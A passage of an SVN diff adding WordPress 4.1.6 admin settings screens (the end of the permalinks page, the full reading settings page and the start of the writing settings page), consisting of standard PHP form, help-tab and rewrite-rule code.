+	'content' => '<p>' . __('Many people choose to use &#8220;pretty permalinks,&#8221; URLs that contain useful information such as the post title rather than generic post ID numbers. You can choose from any of the permalink formats under Common Settings, or can craft your own if you select Custom Structure.') . '</p>' .
+		'<p>' . __('If you pick an option other than Default, your general URL path with structure tags, terms surrounded by <code>%</code>, will also appear in the custom structure field and your path can be further modified there.') . '</p>' .
+		'<p>' . __('When you assign multiple categories or tags to a post, only one can show up in the permalink: the lowest numbered category. This applies if your custom structure includes <code>%category%</code> or <code>%tag%</code>.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'custom-structures',
+	'title'   => __('Custom Structures'),
+	'content' => '<p>' . __('The Optional fields let you customize the &#8220;category&#8221; and &#8220;tag&#8221; base names that will appear in archive URLs. For example, the page listing all posts in the &#8220;Uncategorized&#8221; category could be <code>/topics/uncategorized</code> instead of <code>/category/uncategorized</code>.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Settings_Permalinks_Screen" target="_blank">Documentation on Permalinks Settings</a>') . '</p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Using_Permalinks" target="_blank">Documentation on Using Permalinks</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+/**
+ * Display JavaScript on the page.
+ *
+ * @since 3.5.0
+ */
+function options_permalink_add_js() {
+	?>
+<script type="text/javascript">
+//<![CDATA[
+jQuery(document).ready(function() {
+	jQuery('.permalink-structure input:radio').change(function() {
+		if ( 'custom' == this.value )
+			return;
+		jQuery('#permalink_structure').val( this.value );
+	});
+	jQuery('#permalink_structure').focus(function() {
+		jQuery("#custom_selection").attr('checked', 'checked');
+	});
+});
+//]]>
+</script>
+<?php
+}
+add_filter('admin_head', 'options_permalink_add_js');
+
+$home_path = get_home_path();
+$iis7_permalinks = iis7_supports_permalinks();
+
+$prefix = $blog_prefix = '';
+if ( ! got_url_rewrite() )
+	$prefix = '/index.php';
+if ( is_multisite() && !is_subdomain_install() && is_main_site() )
+	$blog_prefix = '/blog';
+
+if ( isset($_POST['permalink_structure']) || isset($_POST['category_base']) ) {
+	check_admin_referer('update-permalink');
+
+	if ( isset( $_POST['permalink_structure'] ) ) {
+		if ( isset( $_POST['selection'] ) && 'custom' != $_POST['selection'] )
+			$permalink_structure = $_POST['selection'];
+		else
+			$permalink_structure = $_POST['permalink_structure'];
+
+		if ( ! empty( $permalink_structure ) ) {
+			$permalink_structure = preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $permalink_structure ) );
+			if ( $prefix && $blog_prefix )
+				$permalink_structure = $prefix . preg_replace( '#^/?index\.php#', '', $permalink_structure );
+			else
+				$permalink_structure = $blog_prefix . $permalink_structure;
+		}
+		$wp_rewrite->set_permalink_structure( $permalink_structure );
+	}
+
+	if ( isset( $_POST['category_base'] ) ) {
+		$category_base = $_POST['category_base'];
+		if ( ! empty( $category_base ) )
+			$category_base = $blog_prefix . preg_replace('#/+#', '/', '/' . str_replace( '#', '', $category_base ) );
+		$wp_rewrite->set_category_base( $category_base );
+	}
+
+	if ( isset( $_POST['tag_base'] ) ) {
+		$tag_base = $_POST['tag_base'];
+		if ( ! empty( $tag_base ) )
+			$tag_base = $blog_prefix . preg_replace('#/+#', '/', '/' . str_replace( '#', '', $tag_base ) );
+		$wp_rewrite->set_tag_base( $tag_base );
+	}
+
+	wp_redirect( admin_url( 'options-permalink.php?settings-updated=true' ) );
+	exit;
+}
+
+$permalink_structure = get_option( 'permalink_structure' );
+$category_base       = get_option( 'category_base' );
+$tag_base            = get_option( 'tag_base' );
+$update_required     = false;
+
+if ( $iis7_permalinks ) {
+	if ( ( ! file_exists($home_path . 'web.config') && win_is_writable($home_path) ) || win_is_writable($home_path . 'web.config') )
+		$writable = true;
+	else
+		$writable = false;
+} elseif ( $is_nginx ) {
+	$writable = false;
+} else {
+	if ( ( ! file_exists( $home_path . '.htaccess' ) && is_writable( $home_path ) ) || is_writable( $home_path . '.htaccess' ) ) {
+		$writable = true;
+	} else {
+		$writable = false;
+		$existing_rules  = array_filter( extract_from_markers( $home_path . '.htaccess', 'WordPress' ) );
+		$new_rules       = array_filter( explode( "\n", $wp_rewrite->mod_rewrite_rules() ) );
+		$update_required = ( $new_rules !== $existing_rules );
+	}
+}
+
+if ( $wp_rewrite->using_index_permalinks() )
+	$usingpi = true;
+else
+	$usingpi = false;
+
+flush_rewrite_rules();
+
+require( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( ! empty( $_GET['settings-updated'] ) ) : ?>
+<div id="message" class="updated"><p><?php
+if ( ! is_multisite() ) {
+	if ( $iis7_permalinks ) {
+		if ( $permalink_structure && ! $usingpi && ! $writable )
+			_e('You should update your web.config now.');
+		else if ( $permalink_structure && ! $usingpi && $writable )
+			_e('Permalink structure updated. Remove write access on web.config file now!');
+		else
+			_e('Permalink structure updated.');
+	} elseif ( $is_nginx ) {
+		_e('Permalink structure updated.');
+	} else {
+		if ( $permalink_structure && ! $usingpi && ! $writable && $update_required ) {
+			_e('You should update your .htaccess now.');
+		} else {
+			_e('Permalink structure updated.');
+		}
+	}
+} else {
+	_e('Permalink structure updated.');
+}
+?>
+</p></div>
+<?php endif; ?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form name="form" action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+
+  <p><?php _e('By default WordPress uses web <abbr title="Universal Resource Locator">URL</abbr>s which have question marks and lots of numbers in them; however, WordPress offers you the ability to create a custom URL structure for your permalinks and archives. This can improve the aesthetics, usability, and forward-compatibility of your links. A <a href="http://codex.wordpress.org/Using_Permalinks">number of tags are available</a>, and here are some examples to get you started.'); ?></p>
+
+<?php
+if ( is_multisite() && !is_subdomain_install() && is_main_site() ) {
+	$permalink_structure = preg_replace( '|^/?blog|', '', $permalink_structure );
+	$category_base = preg_replace( '|^/?blog|', '', $category_base );
+	$tag_base = preg_replace( '|^/?blog|', '', $tag_base );
+}
+
+$structures = array(
+	0 => '',
+	1 => $prefix . '/%year%/%monthnum%/%day%/%postname%/',
+	2 => $prefix . '/%year%/%monthnum%/%postname%/',
+	3 => $prefix . '/' . _x( 'archives', 'sample permalink base' ) . '/%post_id%',
+	4 => $prefix . '/%postname%/',
+);
+?>
+<h3 class="title"><?php _e('Common Settings'); ?></h3>
+<table class="form-table permalink-structure">
+	<tr>
+		<th><label><input name="selection" type="radio" value="" <?php checked('', $permalink_structure); ?> /> <?php _e('Default'); ?></label></th>
+		<td><code><?php echo get_option('home'); ?>/?p=123</code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[1]); ?>" <?php checked($structures[1], $permalink_structure); ?> /> <?php _e('Day and name'); ?></label></th>
+		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . date('Y') . '/' . date('m') . '/' . date('d') . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/'; ?></code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[2]); ?>" <?php checked($structures[2], $permalink_structure); ?> /> <?php _e('Month and name'); ?></label></th>
+		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . date('Y') . '/' . date('m') . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/'; ?></code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[3]); ?>" <?php checked($structures[3], $permalink_structure); ?> /> <?php _e('Numeric'); ?></label></th>
+		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . _x( 'archives', 'sample permalink base' ) . '/123'; ?></code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[4]); ?>" <?php checked($structures[4], $permalink_structure); ?> /> <?php _e('Post name'); ?></label></th>
+		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/'; ?></code></td>
+	</tr>
+	<tr>
+		<th>
+			<label><input name="selection" id="custom_selection" type="radio" value="custom" <?php checked( !in_array($permalink_structure, $structures) ); ?> />
+			<?php _e('Custom Structure'); ?>
+			</label>
+		</th>
+		<td>
+			<code><?php echo get_option('home') . $blog_prefix; ?></code>
+			<input name="permalink_structure" id="permalink_structure" type="text" value="<?php echo esc_attr($permalink_structure); ?>" class="regular-text code" />
+		</td>
+	</tr>
+</table>
+
+<h3 class="title"><?php _e('Optional'); ?></h3>
+<p><?php
+/* translators: %s is a placeholder that must come at the start of the URL. */
+printf( __('If you like, you may enter custom structures for your category and tag <abbr title="Universal Resource Locator">URL</abbr>s here. For example, using <code>topics</code> as your category base would make your category links like <code>%s/topics/uncategorized/</code>. If you leave these blank the defaults will be used.'), get_option('home') . $blog_prefix . $prefix ); ?></p>
+
+<table class="form-table">
+	<tr>
+		<th><label for="category_base"><?php /* translators: prefix for category permalinks */ _e('Category base'); ?></label></th>
+		<td><?php echo $blog_prefix; ?> <input name="category_base" id="category_base" type="text" value="<?php echo esc_attr( $category_base ); ?>" class="regular-text code" /></td>
+	</tr>
+	<tr>
+		<th><label for="tag_base"><?php _e('Tag base'); ?></label></th>
+		<td><?php echo $blog_prefix; ?> <input name="tag_base" id="tag_base" type="text" value="<?php echo esc_attr($tag_base); ?>" class="regular-text code" /></td>
+	</tr>
+	<?php do_settings_fields('permalink', 'optional'); ?>
+</table>
+
+<?php do_settings_sections('permalink'); ?>
+
+<?php submit_button(); ?>
+  </form>
+<?php if ( !is_multisite() ) { ?>
+<?php if ( $iis7_permalinks ) :
+	if ( isset($_POST['submit']) && $permalink_structure && ! $usingpi && ! $writable ) :
+		if ( file_exists($home_path . 'web.config') ) : ?>
+<p><?php _e('If your <code>web.config</code> file were <a href="http://codex.wordpress.org/Changing_File_Permissions">writable</a>, we could do this automatically, but it isn&#8217;t so this is the url rewrite rule you should have in your <code>web.config</code> file. Click in the field and press <kbd>CTRL + a</kbd> to select all. Then insert this rule inside of the <code>/&lt;configuration&gt;/&lt;system.webServer&gt;/&lt;rewrite&gt;/&lt;rules&gt;</code> element in <code>web.config</code> file.') ?></p>
+<form action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+	<p><textarea rows="9" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules() ); ?></textarea></p>
+</form>
+<p><?php _e('If you temporarily make your <code>web.config</code> file writable for us to generate rewrite rules automatically, do not forget to revert the permissions after rule has been saved.') ?></p>
+		<?php else : ?>
+<p><?php _e('If the root directory of your site were <a href="http://codex.wordpress.org/Changing_File_Permissions">writable</a>, we could do this automatically, but it isn&#8217;t so this is the url rewrite rule you should have in your <code>web.config</code> file. Create a new file, called <code>web.config</code> in the root directory of your site. Click in the field and press <kbd>CTRL + a</kbd> to select all. Then insert this code into the <code>web.config</code> file.') ?></p>
+<form action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+	<p><textarea rows="18" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules(true) ); ?></textarea></p>
+</form>
+<p><?php _e('If you temporarily make your site&#8217;s root directory writable for us to generate the <code>web.config</code> file automatically, do not forget to revert the permissions after the file has been created.') ?></p>
+		<?php endif; ?>
+	<?php endif; ?>
+<?php elseif ( ! $is_nginx ) :
+	if ( $permalink_structure && ! $usingpi && ! $writable && $update_required ) : ?>
+<p><?php _e('If your <code>.htaccess</code> file were <a href="http://codex.wordpress.org/Changing_File_Permissions">writable</a>, we could do this automatically, but it isn&#8217;t so these are the mod_rewrite rules you should have in your <code>.htaccess</code> file. Click in the field and press <kbd>CTRL + a</kbd> to select all.') ?></p>
+<form action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+	<p><textarea rows="6" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_textarea( $wp_rewrite->mod_rewrite_rules() ); ?></textarea></p>
+</form>
+	<?php endif; ?>
+<?php endif; ?>
+<?php } // multisite ?>
+
+</div>
+
+<?php require( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/options-reading.php
===================================================================
--- /tags/4.1.6/src/wp-admin/options-reading.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/options-reading.php	(revision 33402)
@@ -0,0 +1,184 @@
+<?php
+/**
+ * Reading settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'You do not have sufficient permissions to manage options for this site.' ) );
+
+$title = __( 'Reading Settings' );
+$parent_file = 'options-general.php';
+
+/**
+ * Display JavaScript on the page.
+ *
+ * @since 3.5.0
+ */
+function options_reading_add_js() {
+?>
+<script type="text/javascript">
+//<![CDATA[
+	jQuery(document).ready(function($){
+		var section = $('#front-static-pages'),
+			staticPage = section.find('input:radio[value="page"]'),
+			selects = section.find('select'),
+			check_disabled = function(){
+				selects.prop( 'disabled', ! staticPage.prop('checked') );
+			};
+		check_disabled();
+ 		section.find('input:radio').change(check_disabled);
+	});
+//]]>
+</script>
+<?php
+}
+add_action('admin_head', 'options_reading_add_js');
+
+/**
+ * Render the blog charset setting.
+ *
+ * @since 3.5.0
+ */
+function options_reading_blog_charset() {
+	echo '<input name="blog_charset" type="text" id="blog_charset" value="' . esc_attr( get_option( 'blog_charset' ) ) . '" class="regular-text" />';
+	echo '<p class="description">' . __( 'The <a href="http://codex.wordpress.org/Glossary#Character_set">character encoding</a> of your site (UTF-8 is recommended)' ) . '</p>';
+}
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('This screen contains the settings that affect the display of your content.') . '</p>' .
+		'<p>' . sprintf(__('You can choose what&#8217;s displayed on the front page of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static home page, you first need to create two <a href="%s">Pages</a>. One will become the front page, and the other will be where your posts are displayed.'), 'post-new.php?post_type=page') . '</p>' .
+		'<p>' . __('You can also control the display of your content in RSS feeds, including the maximum numbers of posts to display and whether to show full text or a summary.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'site-visibility',
+	'title'   => has_action( 'blog_privacy_selector' ) ? __( 'Site Visibility' ) : __( 'Search Engine Visibility' ),
+	'content' => '<p>' . __( 'You can choose whether or not your site will be crawled by robots, ping services, and spiders. If you want those services to ignore your site, click the checkbox next to &#8220;Discourage search engines from indexing this site&#8221; and click the Save Changes button at the bottom of the screen. Note that your privacy is not complete; your site is still visible on the web.' ) . '</p>' .
+		'<p>' . __( 'When this setting is in effect, a reminder is shown in the At a Glance box of the Dashboard that says, &#8220;Search Engines Discouraged,&#8221; to remind you that your site is not being crawled.' ) . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Settings_Reading_Screen" target="_blank">Documentation on Reading Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form method="post" action="options.php">
+<?php
+settings_fields( 'reading' );
+
+if ( ! in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) )
+	add_settings_field( 'blog_charset', __( 'Encoding for pages and feeds' ), 'options_reading_blog_charset', 'reading', 'default', array( 'label_for' => 'blog_charset' ) );
+?>
+
+<?php if ( ! get_pages() ) : ?>
+<input name="show_on_front" type="hidden" value="posts" />
+<table class="form-table">
+<?php
+	if ( 'posts' != get_option( 'show_on_front' ) ) :
+		update_option( 'show_on_front', 'posts' );
+	endif;
+
+else :
+	if ( 'page' == get_option( 'show_on_front' ) && ! get_option( 'page_on_front' ) && ! get_option( 'page_for_posts' ) )
+		update_option( 'show_on_front', 'posts' );
+?>
+<table class="form-table">
+<tr>
+<th scope="row"><?php _e( 'Front page displays' ); ?></th>
+<td id="front-static-pages"><fieldset><legend class="screen-reader-text"><span><?php _e( 'Front page displays' ); ?></span></legend>
+	<p><label>
+		<input name="show_on_front" type="radio" value="posts" class="tog" <?php checked( 'posts', get_option( 'show_on_front' ) ); ?> />
+		<?php _e( 'Your latest posts' ); ?>
+	</label>
+	</p>
+	<p><label>
+		<input name="show_on_front" type="radio" value="page" class="tog" <?php checked( 'page', get_option( 'show_on_front' ) ); ?> />
+		<?php printf( __( 'A <a href="%s">static page</a> (select below)' ), 'edit.php?post_type=page' ); ?>
+	</label>
+	</p>
+<ul>
+	<li><label for="page_on_front"><?php printf( __( 'Front page: %s' ), wp_dropdown_pages( array( 'name' => 'page_on_front', 'echo' => 0, 'show_option_none' => __( '&mdash; Select &mdash;' ), 'option_none_value' => '0', 'selected' => get_option( 'page_on_front' ) ) ) ); ?></label></li>
+	<li><label for="page_for_posts"><?php printf( __( 'Posts page: %s' ), wp_dropdown_pages( array( 'name' => 'page_for_posts', 'echo' => 0, 'show_option_none' => __( '&mdash; Select &mdash;' ), 'option_none_value' => '0', 'selected' => get_option( 'page_for_posts' ) ) ) ); ?></label></li>
+</ul>
+<?php if ( 'page' == get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) == get_option( 'page_on_front' ) ) : ?>
+<div id="front-page-warning" class="error inline"><p><?php _e( '<strong>Warning:</strong> these pages should not be the same!' ); ?></p></div>
+<?php endif; ?>
+</fieldset></td>
+</tr>
+<?php endif; ?>
+<tr>
+<th scope="row"><label for="posts_per_page"><?php _e( 'Blog pages show at most' ); ?></label></th>
+<td>
+<input name="posts_per_page" type="number" step="1" min="1" id="posts_per_page" value="<?php form_option( 'posts_per_page' ); ?>" class="small-text" /> <?php _e( 'posts' ); ?>
+</td>
+</tr>
+<tr>
+<th scope="row"><label for="posts_per_rss"><?php _e( 'Syndication feeds show the most recent' ); ?></label></th>
+<td><input name="posts_per_rss" type="number" step="1" min="1" id="posts_per_rss" value="<?php form_option( 'posts_per_rss' ); ?>" class="small-text" /> <?php _e( 'items' ); ?></td>
+</tr>
+<tr>
+<th scope="row"><?php _e( 'For each article in a feed, show' ); ?> </th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e( 'For each article in a feed, show' ); ?> </span></legend>
+<p><label><input name="rss_use_excerpt" type="radio" value="0" <?php checked( 0, get_option( 'rss_use_excerpt' ) ); ?>	/> <?php _e( 'Full text' ); ?></label><br />
+<label><input name="rss_use_excerpt" type="radio" value="1" <?php checked( 1, get_option( 'rss_use_excerpt' ) ); ?> /> <?php _e( 'Summary' ); ?></label></p>
+</fieldset></td>
+</tr>
+
+<tr class="option-site-visibility">
+<th scope="row"><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site Visibility' ) : _e( 'Search Engine Visibility' ); ?> </th>
+<td><fieldset><legend class="screen-reader-text"><span><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site Visibility' ) : _e( 'Search Engine Visibility' ); ?> </span></legend>
+<?php if ( has_action( 'blog_privacy_selector' ) ) : ?>
+	<input id="blog-public" type="radio" name="blog_public" value="1" <?php checked('1', get_option('blog_public')); ?> />
+	<label for="blog-public"><?php _e( 'Allow search engines to index this site' );?></label><br/>
+	<input id="blog-norobots" type="radio" name="blog_public" value="0" <?php checked('0', get_option('blog_public')); ?> />
+	<label for="blog-norobots"><?php _e( 'Discourage search engines from indexing this site' ); ?></label>
+	<p class="description"><?php _e( 'Note: Neither of these options blocks access to your site &mdash; it is up to search engines to honor your request.' ); ?></p>
+	<?php
+	/**
+	 * Enable the legacy 'Site Visibility' privacy options.
+	 *
+	 * By default the privacy options form displays a single checkbox to 'discourage' search
+	 * engines from indexing the site. Hooking to this action serves a dual purpose:
+	 * 1. Disable the single checkbox in favor of a multiple-choice list of radio buttons.
+	 * 2. Open the door to adding additional radio button choices to the list.
+	 *
+	 * Hooking to this action also converts the 'Search Engine Visibility' heading to the more
+	 * open-ended 'Site Visibility' heading.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'blog_privacy_selector' );
+	?>
+<?php else : ?>
+	<label for="blog_public"><input name="blog_public" type="checkbox" id="blog_public" value="0" <?php checked( '0', get_option( 'blog_public' ) ); ?> />
+	<?php _e( 'Discourage search engines from indexing this site' ); ?></label>
+	<p class="description"><?php _e( 'It is up to search engines to honor this request.' ); ?></p>
+<?php endif; ?>
+</fieldset></td>
+</tr>
+
+<?php do_settings_fields( 'reading', 'default' ); ?>
+</table>
+
+<?php do_settings_sections( 'reading' ); ?>
+
+<?php submit_button(); ?>
+</form>
+</div>
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/options-writing.php
===================================================================
--- /tags/4.1.6/src/wp-admin/options-writing.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/options-writing.php	(revision 33402)
@@ -0,0 +1,194 @@
+<?php
+/**
+ * Writing settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'You do not have sufficient permissions to manage options for this site.' ) );
+
+$title = __('Writing Settings');
+$parent_file = 'options-general.php';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('You can submit content in several different ways; this screen holds the settings for all of them. The top section controls the editor within the dashboard, while the rest control external publishing methods. For more information on any of these methods, use the documentation links.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'options-press',
+	'title'   => __('Press This'),
+	'content' => '<p>' . __('Press This is a bookmarklet that makes it easy to blog about something you come across on the web. You can use it to just grab a link, or to post an excerpt. Press This will even allow you to choose from images included on the page and use them in your post. Just drag the Press This link on this screen to your bookmarks bar in your browser, and you&#8217;ll be on your way to easier content creation. Clicking on it while on another website opens a popup window with all these options.') . '</p>',
+) );
+
+/** This filter is documented in wp-admin/options.php */
+if ( apply_filters( 'enable_post_by_email_configuration', true ) ) {
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'options-postemail',
+		'title'   => __( 'Post Via Email' ),
+		'content' => '<p>' . __( 'Post via email settings allow you to send your WordPress install an email with the content of your post. You must set up a secret e-mail account with POP3 access to use this, and any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret.' ) . '</p>',
+	) );
+}
+
+/** This filter is documented in wp-admin/options-writing.php */
+if ( apply_filters( 'enable_update_services_configuration', true ) ) {
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'options-services',
+		'title'   => __( 'Update Services' ),
+		'content' => '<p>' . __( 'If desired, WordPress will automatically alert various services of your new posts.' ) . '</p>',
+	) );
+}
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Settings_Writing_Screen" target="_blank">Documentation on Writing Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form method="post" action="options.php">
+<?php settings_fields('writing'); ?>
+
+<table class="form-table">
+<tr>
+<th scope="row"><?php _e('Formatting') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Formatting') ?></span></legend>
+<label for="use_smilies">
+<input name="use_smilies" type="checkbox" id="use_smilies" value="1" <?php checked('1', get_option('use_smilies')); ?> />
+<?php _e('Convert emoticons like <code>:-)</code> and <code>:-P</code> to graphics on display') ?></label><br />
+<label for="use_balanceTags"><input name="use_balanceTags" type="checkbox" id="use_balanceTags" value="1" <?php checked('1', get_option('use_balanceTags')); ?> /> <?php _e('WordPress should correct invalidly nested XHTML automatically') ?></label>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><label for="default_category"><?php _e('Default Post Category') ?></label></th>
+<td>
+<?php
+wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_category', 'orderby' => 'name', 'selected' => get_option('default_category'), 'hierarchical' => true));
+?>
+</td>
+</tr>
+<?php
+$post_formats = get_post_format_strings();
+unset( $post_formats['standard'] );
+?>
+<tr>
+<th scope="row"><label for="default_post_format"><?php _e('Default Post Format') ?></label></th>
+<td>
+	<select name="default_post_format" id="default_post_format">
+		<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
+<?php foreach ( $post_formats as $format_slug => $format_name ): ?>
+		<option<?php selected( get_option( 'default_post_format' ), $format_slug ); ?> value="<?php echo esc_attr( $format_slug ); ?>"><?php echo esc_html( $format_name ); ?></option>
+<?php endforeach; ?>
+	</select>
+</td>
+</tr>
+<?php
+if ( get_option( 'link_manager_enabled' ) ) :
+?>
+<tr>
+<th scope="row"><label for="default_link_category"><?php _e('Default Link Category') ?></label></th>
+<td>
+<?php
+wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_link_category', 'orderby' => 'name', 'selected' => get_option('default_link_category'), 'hierarchical' => true, 'taxonomy' => 'link_category'));
+?>
+</td>
+</tr>
+<?php endif; ?>
+
+<?php
+do_settings_fields('writing', 'default');
+do_settings_fields('writing', 'remote_publishing'); // A deprecated section.
+?>
+</table>
+
+<h3 class="title"><?php _e('Press This') ?></h3>
+<p><?php _e('Press This is a bookmarklet: a little app that runs in your browser and lets you grab bits of the web.');?></p>
+<p><?php _e('Use Press This to clip text, images and videos from any web page. Then edit and add more straight from Press This before you save or publish it in a post on your site.'); ?></p>
+<p><?php _e('Drag-and-drop the following link to your bookmarks bar or right click it and add it to your favorites for a posting shortcut.') ?></p>
+<p class="pressthis"><a onclick="return false;" oncontextmenu="if(window.navigator.userAgent.indexOf('WebKit')!=-1||window.navigator.userAgent.indexOf('MSIE')!=-1){jQuery('.pressthis-code').show().find('textarea').focus().select();return false;}" href="<?php echo htmlspecialchars( get_shortcut_link() ); ?>"><span><?php _e('Press This') ?></span></a></p>
+<div class="pressthis-code" style="display:none;">
+	<p class="description"><?php _e('If your bookmarks toolbar is hidden: copy the code below, open your Bookmarks manager, create new bookmark, type Press This into the name field and paste the code into the URL field.') ?></p>
+	<p><textarea rows="5" cols="120" readonly="readonly"><?php echo htmlspecialchars( get_shortcut_link() ); ?></textarea></p>
+</div>
+
+<?php
+/** This filter is documented in wp-admin/options.php */
+if ( apply_filters( 'enable_post_by_email_configuration', true ) ) {
+?>
+<h3 class="title"><?php _e('Post via e-mail') ?></h3>
+<p><?php printf(__('To post to WordPress by e-mail you must set up a secret e-mail account with POP3 access. Any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret. Here are three random strings you could use: <kbd>%s</kbd>, <kbd>%s</kbd>, <kbd>%s</kbd>.'), wp_generate_password(8, false), wp_generate_password(8, false), wp_generate_password(8, false)) ?></p>
+
+<table class="form-table">
+<tr>
+<th scope="row"><label for="mailserver_url"><?php _e('Mail Server') ?></label></th>
+<td><input name="mailserver_url" type="text" id="mailserver_url" value="<?php form_option('mailserver_url'); ?>" class="regular-text code" />
+<label for="mailserver_port"><?php _e('Port') ?></label>
+<input name="mailserver_port" type="text" id="mailserver_port" value="<?php form_option('mailserver_port'); ?>" class="small-text" />
+</td>
+</tr>
+<tr>
+<th scope="row"><label for="mailserver_login"><?php _e('Login Name') ?></label></th>
+<td><input name="mailserver_login" type="text" id="mailserver_login" value="<?php form_option('mailserver_login'); ?>" class="regular-text ltr" /></td>
+</tr>
+<tr>
+<th scope="row"><label for="mailserver_pass"><?php _e('Password') ?></label></th>
+<td>
+<input name="mailserver_pass" type="text" id="mailserver_pass" value="<?php form_option('mailserver_pass'); ?>" class="regular-text ltr" />
+</td>
+</tr>
+<tr>
+<th scope="row"><label for="default_email_category"><?php _e('Default Mail Category') ?></label></th>
+<td>
+<?php
+wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_email_category', 'orderby' => 'name', 'selected' => get_option('default_email_category'), 'hierarchical' => true));
+?>
+</td>
+</tr>
+<?php do_settings_fields('writing', 'post_via_email'); ?>
+</table>
+<?php } ?>
+
+<?php
+/**
+ * Filter whether to enable the Update Services section in the Writing settings screen.
+ *
+ * @since 3.0.0
+ *
+ * @param bool $enable Whether to enable the Update Services settings area. Default true.
+ */
+if ( apply_filters( 'enable_update_services_configuration', true ) ) {
+?>
+<h3 class="title"><?php _e('Update Services') ?></h3>
+
+<?php if ( 1 == get_option('blog_public') ) : ?>
+
+<p><label for="ping_sites"><?php _e('When you publish a new post, WordPress automatically notifies the following site update services. For more about this, see <a href="http://codex.wordpress.org/Update_Services">Update Services</a> on the Codex. Separate multiple service <abbr title="Universal Resource Locator">URL</abbr>s with line breaks.') ?></label></p>
+
